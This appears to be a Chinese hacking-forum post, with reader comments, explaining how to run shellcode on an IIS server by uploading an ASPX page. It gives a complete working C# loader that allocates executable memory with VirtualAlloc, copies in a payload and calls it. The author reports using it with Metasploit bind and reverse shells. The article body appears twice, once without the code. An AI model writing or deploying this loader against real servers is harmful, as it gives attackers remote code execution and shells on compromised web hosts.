利用ASPX执行shellcode
(原帖在90sec上,当时准备先发到t00ls的,但是那几天t00ls一直大姨妈,就拿去90sec申请账号用了。和原帖相比内容稍有改动。)
首先说明一下,这种方法有一定的局限性,并且只有在一些比较特殊的情况下才需要使用,比如exe文件传不上去、传上去不执行等等。使用这种方法的环境要求:服务器支持aspx,并且你能够向服务器上传aspx文件并访问。
1.基本原理
先给服务器上传个aspx文件,内容如下:用.NET做过网站的同学应该比我清楚这些代码的执行原理,简单说就是我在这个页面的前端部分放入了后台代码,在你访问页面时,会触发Page_Load事件,并调用Hello()这个成员函数,后台代码可以是C#或者VB。在开发.NET网站的时候,网站源码大都是以xxx.aspx和xxx.aspx.cs(或者xxx.aspx.vb)这种形式组织的,.cs文件或.vb文件就是对应的后台代码。通常网站发布后,这些后台代码都被编译成dll文件,所以你是修改不了的,但是前端依然可以插入后台代码,如果前端和后台都定义了Page_Load事件,微软也有一个默认的规则来控制两者的执行顺序:前端先于后台执行,所以你不用担心写上去的代码不会被执行。
除此之外,直接将xxx.aspx和xxx.aspx.cs这种代码放到网站目录下,它也是可以正常执行的,我相信你有时候也碰到过这种情况,这时你就可以直接将代码放到cs文件里了,效果是一样的。
上面页面执行结果就是:
既然可以在前端写上后台代码并执行,而后台代码又支持.NET的大部分语法,那么也就可以利用这一点来执行任何你想要的,可以用.NET实现的并且权限允许的功能,用C#或VB来写都是可以的。
2.利用方式
利用这一点你可以完成很多工作,比如执行一条命令,启动一个程序,这就是为什么你会感觉aspx的webshell权限比asp高。因此利用它来执行shellcode也就不是什么难事。上传写好的aspx文件,然后访问,页面会一直显示为加载状态。我在测试页面里添加的shellcode是一个bind_tcp的msfpayload,监听的是65314端口(随手按的,如有雷同纯属巧合)。看一下端口开了没有:
再看一下进程:
测试一下能不能上线:
可以看到已经连上了,不过权限依然是Network Service。这时候,就算你把shellcode.aspx页面关闭了,msfpayload依然在运行,连接还是不会中断的。当然,重启网站的应用程序池,msfpayload就停止运行了。
3.小结
如果你可以提权,并直接上传和运行exe文件,你可以无视上面的废话,直接跳过本帖。此外,利用这种方法运行的shellcode,权限跟IIS进程的权限一致。如果shellcode执行了越权的操作,比如添加管理员,访问页面时连接会被重置,所以,别指望用它来提权,要是可以别人也早就想到了。
那这么鸡肋的方法到底有什么用呢?你可以自己去发挥,shellcode嘛,我也不是很懂。
我测试用的是win2k3+iis6,欢迎大家在其他环境下测试并反馈意见,包括安装了WAF的环境。
后来找了个反弹shell到nc的shellcode试了一下,也成功了。shellcode是这种格式的:0xfc,0xe8,0x89,0x00。
首先说明一下,这种方法有一定的局限性,并且只有在一些比较特殊的情况下才需要使用,比如exe文件传不上去、传上去不执行等等。使用这种方法的环境要求:服务器支持aspx,并且你能够向服务器上传aspx文件并访问。
1.基本原理
先给服务器上传个aspx文件,内容如下:
<%@ Page Language="C#" AutoEventWireup="true" Inherits="System.Web.UI.Page" %>
<%@ Import Namespace="System" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
Response.Write(Hello());
}
private string Hello()
{
return "Hello World";
}
</script>
除此之外,直接将xxx.aspx和xxx.aspx.cs这种代码放到网站目录下,它也是可以正常执行的,我相信你有时候也碰到过这种情况,这时你就可以直接将代码放到cs文件里了,效果是一样的。
上面页面执行结果就是:
既然可以在前端写上后台代码并执行,而后台代码又支持.NET的大部分语法,那么也就可以利用这一点来执行任何你想要的,可以用.NET实现的并且权限允许的功能,用C#或VB来写都是可以的。
2.利用方式
利用这一点你可以完成很多工作,比如执行一条命令,启动一个程序,这就是为什么你会感觉aspx的webshell权限比asp高。因此利用它来执行shellcode也就不是什么难事。
<%@ Page Language="C#" AutoEventWireup="true" Inherits="System.Web.UI.Page" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
delegate int MsfpayloadProc();
protected void Page_Load(object sender, EventArgs e)
{
byte[] codeBytes = { /*你的shellcode*/
};
IntPtr handle = IntPtr.Zero;
handle = VirtualAlloc(
IntPtr.Zero,
codeBytes.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
try
{
Marshal.Copy(codeBytes, 0, handle, codeBytes.Length);
MsfpayloadProc msfpayload
= Marshal.GetDelegateForFunctionPointer(handle, typeof(MsfpayloadProc)) as MsfpayloadProc;
msfpayload();
}
finally
{
VirtualFree(handle, 0, MEM_RELEASE);
}
}
//Windows API
[DllImport("Kernel32.dll", EntryPoint = "VirtualAlloc")]
public static extern IntPtr VirtualAlloc(IntPtr address, int size, uint allocType, uint protect);
[DllImport("Kernel32.dll", EntryPoint = "VirtualFree")]
public static extern bool VirtualFree(IntPtr address, int size, uint freeType);
//flags
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint MEM_RELEASE = 0x8000;
</script>
再看一下进程:
测试一下能不能上线:
可以看到已经连上了,不过权限依然是Network Service。这时候,就算你把shellcode.aspx页面关闭了,msfpayload依然在运行,连接还是不会中断的。当然,重启网站的应用程序池,msfpayload就停止运行了。
3.小结
如果你可以提权,并直接上传和运行exe文件,你可以无视上面的废话,直接跳过本帖。此外,利用这种方法运行的shellcode,权限跟IIS进程的权限一致。如果shellcode执行了越权的操作,比如添加管理员,访问页面时连接会被重置,所以,别指望用它来提权,要是可以别人也早就想到了。
那这么鸡肋的方法到底有什么用呢?你可以自己去发挥,shellcode嘛,我也不是很懂。
我测试用的是win2k3+iis6,欢迎大家在其他环境下测试并反馈意见,包括安装了WAF的环境。
后来找了个反弹shell到nc的shellcode试了一下,也成功了。shellcode是这种格式的:0xfc,0xe8,0x89,0x00。
评论58次
有发现一个好东西呀 谢谢楼主
要跟当前反弹的权限 权限底的话基本什么都做不了
多谢分享
原来还能这么搞。奇啊
收藏备用
shellcode相当于没有PE头的exe文件,它实际上是一段汇编代码,要把shellcode转换成exe需要自己写一段代码,编译一下,这种代码网上很多。
反弹的好方法,谢谢楼主分享
收藏了,感谢楼主
这个还在继续挖掘,肯定有用。
真心用过的很少。
我在想是不是所有的语言shellcode都能解析。或者生成的shellcode怎么转换hex呢?这句问的有点菜大牛勿喷。。
赞一个,收藏
shellcode在服务器上该杀还是要杀啊?不知道我理解错没。。
这东西真心不错 收藏了
不错不错 很有用。 能执行shellcode能做N多事情了
感谢分享!!
思路不错,测试去
不错的方法啊!就佩服会编程的
很好的方法,现在aspx的很多站限制越来越多了。
msf生成的exe很多都被杀了的吧